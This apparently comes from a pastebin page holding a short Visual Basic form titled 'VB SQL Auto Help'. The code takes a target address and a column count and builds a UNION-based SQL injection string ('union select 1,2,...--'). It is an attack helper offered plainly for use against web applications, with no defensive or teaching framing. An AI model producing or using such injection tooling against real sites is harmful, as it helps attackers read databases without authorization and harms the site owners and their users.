Don't like ads? PRO users don't see any ads ;-)
Guest

VB SQL Auto Help

By: a guest on May 8th, 2012  |  syntax: VisualBasic  |  size: 0.58 KB  |  hits: 24  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. Public Class Form1
  2.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  3.  
  4.         TextBox3.Clear()
  5.  
  6.         Dim trgt As String = TextBox1.Text
  7.         Dim colm As Integer = Val(TextBox2.Text)
  8.        
  9.         For strt As Integer = 1 To colm Step 1
  10.             If strt = 1 Then
  11.                 TextBox3.Text = 1
  12.             Else
  13.                 TextBox3.Text = TextBox3.Text & "," & strt
  14.             End If
  15.         Next
  16.  
  17.         TextBox3.Text = trgt & " union select " & TextBox3.Text & "--"
  18.  
  19.     End Sub
  20. End Class